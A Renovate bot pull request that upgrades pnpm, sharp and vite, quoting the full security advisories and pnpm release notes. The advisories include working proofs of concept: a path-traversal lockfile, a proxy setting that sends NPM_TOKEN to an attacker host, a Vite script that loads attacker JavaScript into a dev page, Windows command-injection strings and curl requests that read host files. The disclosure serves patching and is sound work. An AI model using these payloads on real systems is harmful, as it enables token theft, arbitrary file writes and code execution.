Security patches (stable/2.x) by renovate[bot] · Pull Request #392 · DefGuard/proxy

renovate · 2026-09-02T20:50:20Z

Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
pnpm (source)	`11.9.0` → `11.11.0`
sharp (source, changelog)	`0.35.3` → `0.35.5`
vite (source)	`7.3.5` → `7.3.7`

pnpm: Virtual store linker path traversal via unvalidated depPath name in lockfileToDepGraph

CVE-2026-82392 / GHSA-c59q-g84q-2gj5

More information

Details

Summary

The virtual store linker constructs package installation directories using path.join(modules, pkgName) where pkgName is extracted from lockfile packages keys via dp.parse(depPath).name without validation. A crafted pnpm-lock.yaml with traversal sequences in depPath keys (e.g., ../../../tmp/pwned@1.0.0) causes package content to be written to arbitrary filesystem paths during pnpm install.

This is an incomplete fix of GHSA-fr4h-3cph-29xv — the safeJoinModulesDir containment helper was applied to the hoisted linker and symlinkDependency but NOT to the virtual store linker's lockfileToDepGraph.ts:233.

Details

Root Cause

dp.parse() at pnpm11/deps/path/src/index.ts:135 extracts the package name as:

const name = dependencyPath.substring(0, sepIndex)

This is a raw substring operation with zero validation that name is a valid npm package name. A depPath of ../../../tmp/pwned@1.0.0 yields name = '../../../tmp/pwned'.

Vulnerable Code Path

pnpm-lock.yaml → lockfile.packages['../../../../../../../tmp/pwned@1.0.0'] (attacker-controlled lockfile key)
nameVerFromPkgSnapshot(depPath, pkgSnapshot) at lockfile/utils/src/nameVerFromPkgSnapshot.ts:16 → calls dp.parse(depPath) → returns { name: '../../../../../../../tmp/pwned' }
lockfileToDepGraph.ts:232 → modules = path.join(dirInVirtualStore, 'node_modules')
lockfileToDepGraph.ts:233 → dir = path.join(modules, pkgName) → resolves to /tmp/pwned (ESCAPES virtual store)
storeController.importPackage(depNode.dir, ...) → writes package content to the traversed path

Why Existing Defenses Don't Catch It

depPathToFilename() — replaces / with + for the dirInVirtualStore path, but pkgName comes SEPARATELY from dp.parse() and is NOT passed through this function
verifyLockfileResolutions() — validates dependency map keys (aliases) via isValidDependencyAlias(), but never validates the depPath keys themselves
Lockfile parser — yaml.load(lockfileRawContent) with no schema validation on packages keys
importPackage() — accepts targetDir and passes it directly to cafsStore.importPackage(targetDir, ...) with zero containment check
Integrity verification — requires a real fetchable package but does not validate the destination path

Escalation to RCE (non-default config)

When dangerouslyAllowAllBuilds: true is configured (or the traversal package name is in the explicit allowBuilds list), the same traversed path is used in the rebuild phase at after-install/src/index.ts:402,470. The attacker's postinstall script then executes with the victim's shell access. Under default config, allowBuild returns false for unknown packages, limiting impact to arbitrary file write.

Also Affected (PnP linker)

When nodeLinker: pnp is configured, lockfileToPackageRegistry() at lockfile/to-pnp/src/index.ts:105-110 uses the same unvalidated dp.parse().name in packageLocation construction, allowing the .pnp.cjs resolver map to point outside the virtual store. This is a lower-impact variant (PnP is not the default linker).

Impact

An attacker who can commit a crafted pnpm-lock.yaml to a repository (or supply one via a malicious package) can cause arbitrary file writes on the machine of any user who runs pnpm install. Written content is the actual package files from a real npm package (attacker controls which package and which destination).

Targets for arbitrary file write include:

.git/hooks/pre-commit — code execution on next git operation
~/.local/bin/ — binary hijacking
Project source files — supply chain injection

Reproduction

Craft a pnpm-lock.yaml:

lockfileVersion: '9.0'
packages:
  ../../../../../../../tmp/pwned@1.0.0:
    resolution: {integrity: sha512-<real-package-integrity>}
    engines: {node: '>=14'}
snapshots:
  ../../../../../../../tmp/pwned@1.0.0: {}
importers:
  .:
    dependencies:
      legitimate-name:
        specifier: ^1.0.0
        version: ../../../../../../../tmp/pwned@1.0.0

Run pnpm install — package content is written to /tmp/pwned/ instead of the virtual store.

Recommended Fix

Apply safeJoinModulesDir (or equivalent validation) at:

lockfileToDepGraph.ts:233 — path.join(modules, pkgName)
after-install/src/index.ts:402 — path.join(pkgModulesDir(depPath), pkgInfo.name)
lockfile/to-pnp/src/index.ts:105-110 — PnP packageLocation

Alternatively, validate depPath keys during lockfile parsing to reject any that don't produce valid npm package names via dp.parse().

Relationship to GHSA-fr4h-3cph-29xv

GHSA-fr4h-3cph-29xv fixed the hoisted linker path (lockfileToHoistedDepGraph.ts:222) by adding safeJoinModulesDir. The same fix was NOT applied to the virtual store linker, which uses the identical dp.parse().name → path.join() pattern at lockfileToDepGraph.ts:233.

Severity

CVSS Score: 7.1 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

pnpm: A tarball dependency's manifest `name` escapes node_modules → arbitrary file write/overwrite on install

CVE-2026-82393 / GHSA-vq4v-j7r6-jq4m

More information

Details

Summary

When resolving a package, pnpm uses the resolved manifest name as a raw path segment for the isolated-linker import target. A tarball dependency whose package.json name is a scoped path traversal (@x/../../…/<abs path>) is therefore extracted outside node_modules, to an attacker-chosen absolute path, and can overwrite existing files there. Attacker controls the destination, filenames, and contents → arbitrary file write → code execution (e.g. ~/.zshrc, .git/hooks/pre-commit, another package's code). Occurs during pnpm install even with --ignore-scripts (no lifecycle scripts run), defeating that safety.

Same class as the just-patched GHSA-hwx4 (transitive-dependency alias traversal) and GHSA-v23m (stage download manifest name/version traversal), in a sink their fixes did not cover: the isolated-linker import target keyed by the resolved name.

Root cause

The isolated-linker import target is built with a raw path.join(modules, <resolved name>) in installing/deps-resolver/src/resolvePeers.ts:706, installing/deps-resolver/src/index.ts:614, and deps/graph-builder/src/lockfileToDepGraph.ts:233 — without the safeJoinModulesDir guard used on the symlink/hoisted/bin paths (installing/deps-restorer/src/lockfileToHoistedDepGraph.ts:222). The store location is node_modules/.pnpm/<id>/node_modules/<name>, so a traversal <name> escapes.
The only resolve-time name gate (resolving/npm-resolver/src/pickPackage.ts:753) rejects only unscoped names containing /, so a scoped @x/../.. passes.

Steps to reproduce

Self-contained PoC (real pnpm@11.9.0; loopback tarball server; escape target is a throwaway temp dir):

npm i pnpm@11.9.0

##### host a tarball whose package.json name = "@x/"+"../".repeat(25)+"<abs>/OUTSIDE"; victim depends on the http URL
pnpm install --ignore-scripts

Confirmed output (repro/poc.mjs, exit 0):

escape dir is outside the project        : true
new file implanted outside node_modules  : true
pre-existing file OVERWRITTEN            : true
*** CONFIRMED: a tarball dependency wrote & overwrote files OUTSIDE the project during `pnpm install --ignore-scripts` ***

Remediation

Route the isolated-linker import-target joins (resolvePeers.ts:706, deps-resolver/index.ts:614, lockfileToDepGraph.ts:233) through safeJoinModulesDir (as the hoisted linker already does), and/or enforce validate-npm-package-name on the resolved manifest name (close the scoped-name gap at pickPackage.ts:753) so the import target rejects a traversal name and re-asserts containment before any write.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

pnpm: Environment secrets exfiltrated via env-placeholder expansion in proxy settings read from an untrusted pnpm-workspace.yaml

CVE-2026-101043 / GHSA-vx52-2968-3vc6

More information

Details

Summary

pnpm expands ${VAR} environment placeholders in the httpProxy / httpsProxy / noProxy settings read from a project's pnpm-workspace.yaml. Because a project manifest is repository-controlled, a malicious repository that a victim merely clones and runs pnpm install in can route all install traffic through an attacker proxy whose hostname or userinfo embeds — and thereby exfiltrates — an environment secret such as NPM_TOKEN or GITHUB_TOKEN.

This bypasses a trust boundary pnpm deliberately enforces: env-placeholder expansion of request-destination settings is already suppressed for registry, pnprServer, registries and namedRegistries when they come from an untrusted project manifest, and the sibling .npmrc reader already classifies the proxy keys as request destinations. The manifest-side guard set simply omitted them.

Impact

An attacker who controls only the contents of a repository's pnpm-workspace.yaml — a public repo, a fork, or a supply-chain pull request — can read many values out of the victim's process environment and have them delivered to an attacker-controlled host. No pre-existing access to the victim's store, global config, lockfile, node_modules, or environment is required. The secret is exfiltrated during config loading, before any lifecycle script runs.

This turns "I can author a project manifest" into "I read the victim's environment secrets."

Affected versions

Introduced in pnpm 10.7.0, which added environment-variable expansion in setting names and values.

pnpm 11.x: >= 11.0.0, < 11.11.0
pnpm 10.x: >= 10.7.0, < 10.34.5

The Rust port (pacquet) and the registry server (pnpr) are not affected.

Patches

pnpm 11.11.0 and later
pnpm 10.34.5 and later

The fix adds httpProxy, httpsProxy, noProxy, proxy and noproxy to the request-destination key set in @pnpm/config.reader (src/getOptionsFromRootManifest.ts), so env placeholders in proxy settings from an untrusted manifest are dropped rather than expanded — matching the existing registry / pnprServer handling and the .npmrc reader's isRequestDestinationValueKey. Regression tests cover the proxy keys.

Workarounds

Upgrade to a patched version. Until then, do not run pnpm commands in an untrusted repository in an environment that holds secrets, or inspect the repository's pnpm-workspace.yaml for proxy settings before installing.

Proof of concept

##### pnpm-workspace.yaml in an untrusted repository
packages:
  - .
httpsProxy: "http://${NPM_TOKEN}.collector.attacker.example.com:8080"

With NPM_TOKEN set in the victim's environment, pnpm install expands the placeholder and routes install traffic through the attacker's host, whose hostname (and DNS query) carries the token.

Unit level:

process.env.PNPM_TEST_TOKEN = 'secret'
const o = getOptionsFromPnpmSettings(process.cwd(), { httpsProxy: 'http://${PNPM_TEST_TOKEN}.evil/' })
// Vulnerable: o.httpsProxy === 'http://secret.evil/'
// Patched:    o.httpsProxy === undefined

Using registry or pnprServer in place of httpsProxy does not leak on either version — those keys were already guarded, which is what made the proxy keys a hole in an existing boundary rather than an unguarded surface.

Credit

Reported privately. A second finding in the original report — the Authorization header being retained across a same-host https -> http redirect — was assessed and is not treated as a pnpm vulnerability: npm (make-fetch-happen, minipass-fetch), Yarn (got) and reqwest all compare host rather than origin, and a registry that redirects from HTTPS to plaintext HTTP is itself the broken component. That behavior is being discussed publicly at https://github.com/orgs/pnpm/discussions/13598.

Severity

CVSS Score: 7.4 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

sharp: Vulnerabilities in libheif: GHSA-g89c-p67h-r497 and GHSA-2jg2-4ch7-h545

CVE-2026-114112 / GHSA-rgj7-g3m4-5g8c

More information

Details

Impact

A number of vulnerabilities, two rated as "Critical" severity using CVSSv3, have been discovered and fixed in the upstream libheif dependency. These can lead to possible remote code execution (RCE) on glibc-based Linux when run under certain conditions.

The attack vector for these claims to be "network" however sharp does not provide any networking features so this vulnerability is down-rated to a "High" severity using CVSSv4 but please note its Subsequent System Impact.

Those processing untrusted input with versions of sharp prior to 0.35.4 are affected.

Patches

Using prebuilt binaries provided by sharp?

Most people rely on the prebuilt binaries provided by sharp.

Please upgrade sharp to the latest version, currently 0.35.4, which provides libheif 1.23.2.

Using a globally-installed libheif?

Please ensure you are using the latest libheif 1.23.2.

Workarounds

Add the following to your code to prevent sharp from decoding AVIF images.

sharp.block({ operation: ["VipsForeignLoadHeif"] });

Ensure you are using a node executable binary compiled as a Position Independent Executable (PIE). Most Linux package managers already do this for protection against RCE however be warned that the "official" Node.js binaries do not.

References

Severity

CVSS Score: 8.9 / 10 (High)
Vector String: CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

sharp : Vulnerability in librsvg dependency CVE-2026-96889

CVE-2026-114111 / GHSA-wq5f-xc86-pv6w

More information

Details

Impact

A memory-related vulnerability has been discovered and fixed in the upstream librsvg dependency. When certain runtime-specific conditions apply, this vulnerability can lead to possible remote code execution (RCE) on glibc-based Linux.

Patches

Using prebuilt binaries provided by sharp?

Most people rely on the prebuilt binaries provided by sharp.

Please upgrade sharp to the latest version, currently 0.35.5, which provides librsvg 2.63.2.

Using a globally-installed librsvg?

Please ensure you are using the latest librsvg 2.63.2.

Workarounds

Add the following to your code to prevent sharp from decoding SVG images.

sharp.block({ operation: ["VipsForeignLoadSvg"] });

To avoid RCE, ensure you are using a node executable binary compiled as a Position Independent Executable (PIE). Most Linux package managers already use this security-hardening feature however be warned that the "official" Node.js binaries do not.
1

Severity

CVSS Score: 8.9 / 10 (High)
Vector String: CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

launch-editor: `fs.existsSync()` existence check can be bypassed on Windows

CVE-2026-112942 / GHSA-587h-7wmj-h5pm

More information

Details

Summary

launch-editor checked fs.existsSync(fileName) before passing a supplied path to an editor command. On Windows, an attacker can bypass this check with a crafted path ending in \\..:line:column. This removes the requirement that the attacker be able to place a file with a malicious filename.

Combined with the % escaping issue described in GHSA-698v-4r3x-3vcv, this bypass can lead to OS command injection when an attacker controls the file argument.

Impact

Only apps that runs on Windows is affected.

Details

The earlier advisory assumed that fs.existsSync() required an attacker-controlled filename to exist. This advisory covers a bypass of that requirement.

A crafted value ending in \\..:1:1 is interpreted differently by launch-editor-middleware, launch-editor, and Windows:

launch-editor-middleware calls path.resolve() while the final path component is ..:1:1, so it is not treated as a parent-directory component.
launch-editor treats :1:1 as a line-and-column suffix and removes it, leaving a path ending in \\...
On Windows, fs.existsSync() accepts the resulting path as the existing parent directory even though the attacker-controlled preceding component does not exist.
Because the existence check passes, the crafted filename reaches the Windows shell command.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

launch-editor: escapeCmdArgs() omits % escaping on Windows

CVE-2026-112943 / GHSA-698v-4r3x-3vcv

More information

Details

Summary

launch-editor did not escape % on Windows when passing an argument to cmd. When an environment variable contained a malicious value, it was possible that that content to be executed.

Impact

Only apps that match all of the following conditions are affected:

The user uses Windows
An attacker can place a file with the malicious filename containing & or %
Either of
- An attacker can inject an environment variable with a malicious value
- An attacker can add a NTFS alternate data stream to the file placed

Details

Unlike .sh files, .bat / .cmd files on Windows cannot be called directly using child_process.spawn and requires passing them as an argument of cmd.exe. To do so, launch-editor escapes the arguments passed to cmd.exe. But launch-editor did not escape % which is used for environment variables.

Because launch-editor checks if the argument matches an existing filename, the attack requires the attacker to be able to place a file.

If the attacker can inject an environment variable as well, they can include the subcommand in the env variable (e.g. set &calc.exe to %ENV%) and call launchEditor with something%ENV%.
If the attacker can place a NTFS alternate data stream to the file (e.g. a NTFS alternate data stream named ~-38%calc.exe), they can call launchEditor with something %CMDCMDLINE:~-38%calc.exe.
If the attacker can create a filename containing the %CD% and the subcommand (e.g. &calc.exe ), they can call launchEditor with ./%CD%

Severity

CVSS Score: 6.3 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Vite: Cross origin script execution through Vite custom middleware

CVE-2026-112945 / GHSA-9jrq-w75r-8gcw

More information

Details

Summary

When accessing a malicious site while a dev server using Vite is running, that site was able to load scripts in a page served by the dev server.

Impact

Only apps that match the following conditions are affected:

the dev server passes an unchanged browser request URL to server.transformIndexHtml: this is normally used for server.middlewareMode: true or appType: 'custom'. The internal call for appType: 'spa' and appType: 'mpa' does not match this.
the transformed HTML contains an inline module script
from the script in the page served by the dev server, the app stores sensitive values in the location accessible or allows critical actions

Details

Vite's SSR guide for 8.2.1 documents the affected setup. The application embeds Vite in middleware mode, reads trusted HTML, and passes the browser's unchanged request URL to the transform:

const url = req.originalUrl
template = await vite.transformIndexHtml(url, template)

For a development server at http://localhost:5173, an attacker can send this URL:

http://localhost:5173//evil.example/payload.js?/../../package.json

In Vite 8.2.1, createDevHtmlTransformFn and getHtmlFilename in indexHtml.ts use the request URL as both the transform path and the input to path.join. The value passed to path.join still includes its query text.

Chromium preserves /../../package.json because it follows ? and is therefore query text. Vite treats the same characters as filesystem path components, so the .. components resolve the derived filename to the existing project package.json.

The existing file branch in indexHtml.ts checks that filename with fs.existsSync, then preserves the htmlPath supplied by the attacker as proxyModuleUrl. The inline module rewrite in the same file writes that value into the generated src:

<script type="module" src="//evil.example/payload.js?/../../package.json?html-proxy&index=0.js"></script>

The generated value is a valid URL. Its leading // tells the browser to request the module from evil.example using the Vite page's scheme. The attacker returns JavaScript for that request, and Chromium executes it in the Vite page.

PoC

import { createServer as createHttpServer } from 'node:http'
import { createRequire } from 'node:module'
import { dirname, join } from 'node:path'
import { fileURLToPath, pathToFileURL } from 'node:url'

const directory = dirname(fileURLToPath(import.meta.url))
const require = createRequire(join(directory, 'package.json'))
const { chromium } = require('playwright-chromium')
const viteModule = await import(
  pathToFileURL(require.resolve('vite')).href
)
const createViteServer =
  viteModule.createServer ?? viteModule.default.createServer

// This loopback server stands in for a separately hosted attacker website.
const attackerPort = 4173
const exploitPath = `//127.0.0.1:${attackerPort}/payload.js?/../../package.json`
const html = '<script type="module">document.body.textContent = "Vite app"</script>'

const listen = (server, port = 0) =>
  new Promise((resolve, reject) => {
    server.once('error', reject)
    server.listen(port, '127.0.0.1', () => {
      server.off('error', reject)
      resolve(server.address().port)
    })
  })

const close = (server) =>
  new Promise((resolve, reject) => {
    server.close((error) => (error ? reject(error) : resolve()))
  })

let attackerRequest = null
const attacker = createHttpServer((request, response) => {
  attackerRequest = request.url
  response.writeHead(200, {
    'access-control-allow-origin': '*',
    'content-type': 'text/javascript',
  })
  response.end(
    "document.documentElement.dataset.viteXssPoc = 'executed'",
  )
})

const vite = await createViteServer({
  appType: 'custom',
  configFile: false,
  root: directory,
  server: {
    hmr: false,
    middlewareMode: true,
    watch: null,
  },
})

const application = createHttpServer((request, response) => {
  vite.middlewares(request, response, async (error) => {
    if (error) {
      response.destroy(error)
      return
    }

    try {
      const transformed = await vite.transformIndexHtml(request.url, html)
      response.writeHead(200, { 'content-type': 'text/html' })
      response.end(transformed)
    } catch (transformError) {
      response.destroy(transformError)
    }
  })
})

await listen(attacker, attackerPort)
const applicationPort = await listen(application)
const browser = await chromium.launch({ headless: true })

try {
  const page = await browser.newPage()
  await page.goto(`http://127.0.0.1:${applicationPort}${exploitPath}`)
  await page.waitForFunction(
    () => document.documentElement.dataset.viteXssPoc === 'executed',
  )

  console.log(`attacker request: ${attackerRequest}`)
  console.log('JavaScript from the attacker server executed in the Vite page')
} finally {
  await browser.close()
  await close(application)
  await vite.close()
  await close(attacker)
}

Observed output on Vite 8.2.1:

attacker request: /payload.js?/../../package.json?html-proxy&index=0.js
JavaScript from the attacker server executed in the Vite page

Severity

CVSS Score: 2.1 / 10 (Low)
Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

launch-editor: Editor CLI flag misinterpretation causing arbitrary command execution for some editors

CVE-2026-112944 / GHSA-r825-w8mm-5pxw

More information

Details

Summary

launch-editor forwarded file paths directly to editors without sanitization. If a path resembles a CLI flag, editors like Vim may interpret it as a command, potentially causing unintended file overwrites or command execution.

Impact

Direct `launch-editor` users

Only apps that match all of the following conditions are affected:

The attacker is able to create a file system entry (e.g. a file or directory) starting with + or - in the working directory
The user uses or the app specifies any of the following editors:
- Vim (including gVim)
- MacVim
- Emacs (including Emacsclient)
- Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)
The first argument of launchEditor can start with + or - or the user is using WSL

`launch-editor-middleware` users

Only apps that match the following conditions are affected:

The attacker is able to create a file system entry (e.g. a file or directory) starting with + or - in the working directory
The user uses or the app specifies any of the following editors:
- Vim (including gVim)
- MacVim
- Emacs (including Emacsclient)
- Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)
launch-editor older than v2.2.0 is used, or the user is using WSL

Vite users

Only apps that match the following conditions are affected:

The attacker is able to create a file system entry (e.g. a file or directory) starting with + or - in the working directory
The user uses or the app specifies any of the following editors:
- Vim (including gVim)
- MacVim
- Emacs (including Emacsclient)
- Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)
The user is using WSL

Details

launchEditor(file) function passes the file name as-is to the editor if the file with that file name exists. If the file name starts with - (also + for Vim), the editor treats them as flags rather than positional arguments. For example, Vim treats arguments starting with + as an Ex command. As a result, an existing relative directory such as:

+call writefile(["SAFE_MARKER"],"LAUNCH_EDITOR_MARKER")|qa!

is not treated as a filename when passed to Vim. Vim executes the embedded Ex command.

The following editor has a potentially destructive operation exposed to the CLI arguments:

Vim (including gVim)
MacVim
Emacs (including Emacsclient)
Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)

launch-editor-middleware v2.2.0+ converts the passed file path to an absolute path so those are not affected as long as the user is not using WSL. For WSL, launch-editor converts the paths to relative paths internally, so those are still affected.

Vite 2.0.0+ uses launch-editor-middleware v2.2.0+ so the WSL users are only affected.

Severity

CVSS Score: 6.3 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Vite: Files outside `server.fs.allow` could be served when project paths match system paths on non-Windows machine

CVE-2026-112946 / GHSA-rq7h-c2jc-7f22

More information

Details

Summary

The content of files outside server.fs setting can be returned to the browser if the project imports a file path concatenated with the root. For example, if the project references <path-to-project-root>/etc/hosts, the content of /etc/hosts was possible to be returned.

The content of files outside the server.fs.allow option can be returned to the browser when a project imports a file whose root-relative path matches an absolute path on the host. For example, referencing <project-root>/etc/hosts could make Vite return the host's /etc/hosts file.

Impact

Only apps that meet all of the following conditions are affected:

explicitly expose the Vite dev server to the network (using --host or the server.host option)
contain an imported file whose root-relative browser URL is also the absolute path of a readable file on the host
The sensitive file is not matched by server.fs.deny
the dev server is not running on Windows

Details

When Vite analyzes an in-root import, it rewrites the resolved module ID to a browser URL such as /etc/hostname. In affected versions, Vite converts that URL with fsPathFromUrl and adds the result to safeModulePaths. Because fsPathFromUrl ensures a leading slash without resolving the URL against the project root, the project URL /etc/hostname is recorded as if it were the absolute filesystem path /etc/hostname.

For a later request to /@fs/etc/hostname, the raw-filesystem middleware interprets /etc/hostname as an absolute path. The access check applies server.fs.deny, then accepts paths present in safeModulePaths before checking server.fs.allow. As a result, the request can return the host file instead of the project file that originally populated safeModulePaths.

PoC

The following example requires Linux with a readable /etc/hostname:

$ mkdir vite-safe-module-path-poc
$ cd vite-safe-module-path-poc
$ npm init -y
$ npm install vite@8.3.1
$ mkdir -p etc
$ echo 'PROJECT-DECOY\n' > etc/hostname
$ echo 'import "./etc/hostname"\n' > main.js
$ npx vite --host 127.0.0.1

In another terminal:

$ curl -o /dev/null -s -w '%{http_code}\n' http://127.0.0.1:5173/main.js
200
$ curl -sS -o response -w '%{http_code}\n' http://127.0.0.1:5173/@fs/etc/hostname
200
$ cmp -s response /etc/hostname && echo 'response matches host file'
response matches host file

Severity

CVSS Score: 6.3 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Release Notes

pnpm/pnpm (pnpm)

`v11.11.0`: pnpm 11.11

Compare Source

Minor Changes

508b8c2: Added the pnpm access command for managing package access and visibility on the registry, supporting listing packages and collaborators, getting and setting package status and MFA requirements, and granting or revoking team access.

Patch Changes

c70e33e: Allow allowBuilds entries for git-hosted packages to match by repository URL without pinning the resolved commit hash. This lets trusted git repositories keep running their build scripts after branch updates without approving each new commit, while package-name-only rules still do not approve git-hosted artifacts.
3067e4f: Reduced peak memory usage during cold-cache dependency resolution. The metadata fetch is memoized for the whole resolution phase, and it was retaining each package's raw registry response body (used only to mirror the response to disk) for that entire time. The memoized cache now holds a body-less copy, so the raw body only lives as long as the call that writes the disk mirror. On large graphs that fetch full metadata (e.g. with minimumReleaseAge or trustPolicy enabled) this cuts peak RSS by roughly 30%, back in line with pnpm 10. The resolved lockfile is unchanged.
51300fd: Prevent a crafted pnpm-lock.yaml from writing package content outside the virtual store. A dependency path key whose name reconstructs to a path-traversal sequence (e.g. ../../../tmp/x@1.0.0) is now rejected by the isolated (virtual-store) linker and the Plug'n'Play resolver map, matching the containment already applied to the hoisted linker. Under the global virtual store, a traversal in the version-derived path segment (e.g. a snapshot version: "../../x") is now rejected at formatGlobalVirtualStorePath, the single point every global-virtual-store slot path funnels through — closing the same escape in the isolated linker, the resolver's dependency-graph builder, and the config-dependency installer.
f8058eb: Reject symlinked pnpm-lock.yaml files when reading or writing the env lockfile document.
9318a11: Allow registries and namedRegistries to be configured in the global config.yaml file.
51300fd: Fixed a path traversal vulnerability where a dependency whose manifest name was a scoped path traversal (e.g. @x/../../../<path>) could be written outside node_modules to an attacker-controlled location during pnpm install, even with --ignore-scripts. The isolated linker now validates the package name before using it as a directory name, matching the existing protection in the hoisted linker.
14332f0: Fail instead of silently removing an optional dependency's locked entries from pnpm-lock.yaml when the registry cannot resolve it. Previously, when registry metadata lacked a version that the lockfile already pinned (for example, a mirror that had not synced a recent release yet), pnpm install and pnpm dedupe silently dropped the optional dependency's entries — emptying maps such as the platform binaries of @napi-rs/canvas — so the lockfile differed between machines and frozen installs on other hosts had nothing to link #12853.
fecfe83: Fixed peer dependency resolution with autoInstallPeers when a workspace package depends on a version of a package that a transitive dependency's self-contained closure also provides for itself. The peer providers that are attached to the root project for reuse are no longer peer-resolved a second time in the root context, so packages inside such a closure no longer get their peers bound to the root project's incompatible version #4993.
5a4daec: ${...} environment-variable placeholders in the httpProxy, httpsProxy, noProxy, proxy, and noproxy settings are no longer expanded when these settings come from a project's pnpm-workspace.yaml. They now receive the same protection already applied to registry, namedRegistries, and pnprServer.
d1da02e: pnpm publish no longer prints credentials when the target registry is configured with inline user:pass@ credentials (e.g. registry=https://user:pass@example.com/). They are now redacted both from the "publishing to registry" line and from the OIDC (trusted publishing) failure messages.
dcfc611: pnpm self-update now honors trustPolicy=no-downgrade. It resolves the target pnpm version against full registry metadata, so it refuses to switch to a version whose supply-chain trust evidence is weaker than an earlier-published one, the same way a regular install does.
a8ad82d: Register the pn alias in generated shell completion scripts.
25bd5c3: Fixed standalone installer downgrades from pnpm v12 to v11.
23996e9: pnpm runtime set <name> <version> now validates its arguments: the name must be node, deno, or bun, and the version must not contain a comma. Previously these were interpolated straight into a pnpm add selector, where an unsupported name or a comma (e.g. node 22,is-positive) could be misread as a list of packages or a local directory and install unintended packages or bins.

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renovate Bot added dependencies Pull requests that update a dependency file renovate security labels Sep 2, 2026

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Update security patches [SECURITY]

d0c23c5

renovate Bot force-pushed the renovate/stable/2.x-security-patches branch from 34df4b0 to d0c23c5 Compare October 22, 2026 11:03

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Security patches (stable/2.x) - #392

Security patches (stable/2.x)#392
t-aleksander merged 1 commit into
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renovate/stable/2.x-security-patches

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renovate Bot commented Sep 2, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

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pnpm: Virtual store linker path traversal via unvalidated depPath name in lockfileToDepGraph

Details

Summary

Details

Root Cause

Vulnerable Code Path

Why Existing Defenses Don't Catch It

Escalation to RCE (non-default config)

Also Affected (PnP linker)

Impact

Reproduction

Recommended Fix

Relationship to GHSA-fr4h-3cph-29xv

Severity

References

pnpm: A tarball dependency's manifest name escapes node_modules → arbitrary file write/overwrite on install

Details

Summary

Root cause

Steps to reproduce

Remediation

Severity

References

pnpm: Environment secrets exfiltrated via env-placeholder expansion in proxy settings read from an untrusted pnpm-workspace.yaml

Details

Summary

Impact

Affected versions

Patches

Workarounds

Proof of concept

Credit

Severity

References

sharp: Vulnerabilities in libheif: GHSA-g89c-p67h-r497 and GHSA-2jg2-4ch7-h545

Details

Impact

Patches

Using prebuilt binaries provided by sharp?

Using a globally-installed libheif?

Workarounds

References

Severity

References

sharp : Vulnerability in librsvg dependency CVE-2026-96889

Details

Impact

Patches

Using prebuilt binaries provided by sharp?

Using a globally-installed librsvg?

Workarounds

Severity

References

launch-editor: fs.existsSync() existence check can be bypassed on Windows

Details

Summary

Impact

Details

Severity

References

launch-editor: escapeCmdArgs() omits % escaping on Windows

Details

Summary

Impact

Details

Severity

References

Vite: Cross origin script execution through Vite custom middleware

Details

Summary

Impact

Details

PoC

Severity

References

launch-editor: Editor CLI flag misinterpretation causing arbitrary command execution for some editors

Details

renovate Bot commented Sep 2, 2026 •

edited

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pnpm: A tarball dependency's manifest `name` escapes node_modules → arbitrary file write/overwrite on install

launch-editor: `fs.existsSync()` existence check can be bypassed on Windows

Direct `launch-editor` users

`launch-editor-middleware` users

Vite: Files outside `server.fs.allow` could be served when project paths match system paths on non-Windows machine

`v11.11.0`: pnpm 11.11